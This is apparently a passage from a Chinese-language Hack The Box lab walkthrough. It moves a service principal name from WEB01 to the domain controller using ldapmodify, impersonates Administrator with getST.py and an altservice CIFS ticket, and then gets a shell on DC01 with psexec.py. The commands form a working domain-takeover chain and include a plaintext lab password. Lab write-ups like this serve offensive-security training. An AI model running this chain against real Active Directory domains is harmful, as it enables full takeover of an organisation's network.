dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
changetype: modify
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01.pirate.htb
-
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01
然后运行
ldapmodify -x -H ldap://DC01.pirate.htb -D \"PIRATE\\\\a.white_adm\" -w 'NewP@ss2026!' -f spn_remove.ldif
这样就修改 ldap 了
接着添加 SPN 到 DC01，准备 spn_add.ldif
dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
changetype: modify
add: servicePrincipalName
servicePrincipalName: HTTP/WEB01.pirate.htb
运行
ldapmodify -x -H ldap://DC01.pirate.htb -D \"PIRATE\\\\a.white_adm\" -w 'NewP@ss2026!' -f spn_add.ldif
现在HTTP/WEB01.pirate.htb解析为DC01。Kerberos不会验证SPN“属于”该对象——它只是查找映射，接下来请求管理员票据，使用altservice
unset KRB5CCNAME
sudo sntp -sS 10.129.244.95
getST.py PIRATE.HTB/a.white_adm:'NewP@ss2026!' -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.244.95 -altservice CIFS/DC01.pirate.htb -debug
这里也是保存成功了
接下来接管域管，如果跑不了需要修改一下时间
export KRB5CCNAME=Administrator@[email protected]
psexec.py -k -no-pass DC01.pirate.htb
type C:\\Users\\Administrator\\Desktop\\root.txt
评论